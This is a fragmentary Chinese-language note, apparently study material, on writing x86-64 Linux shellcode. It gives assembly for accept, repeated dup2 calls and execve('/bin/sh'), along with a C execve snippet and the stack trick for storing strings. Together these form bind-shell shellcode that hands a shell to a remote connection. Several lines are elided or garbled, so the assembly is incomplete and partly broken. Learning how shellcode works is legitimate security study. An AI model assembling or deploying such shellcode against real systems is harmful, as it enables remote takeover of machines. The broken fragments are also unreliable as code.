call会把返回地址压栈,然后执行code的代码
hello_world:db 'hello world',0xa
stack technique
借助栈来存放,需要提前设置好字符串的十六进制逆序,用python...语言代码如下
char *const argv[]={"/bin/sh",NULL};
execve("/bin/sh",argv,NULL);
想办法放到对应的寄存器就行,/bin/sh 参数用 python..., rsi
inc rsi
syscall
accept 函数
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall
accept...函数的返回值在 rax,直接给 dup2 函数用
mov rdi, rax
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
xor rax,rax
add..., rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
execve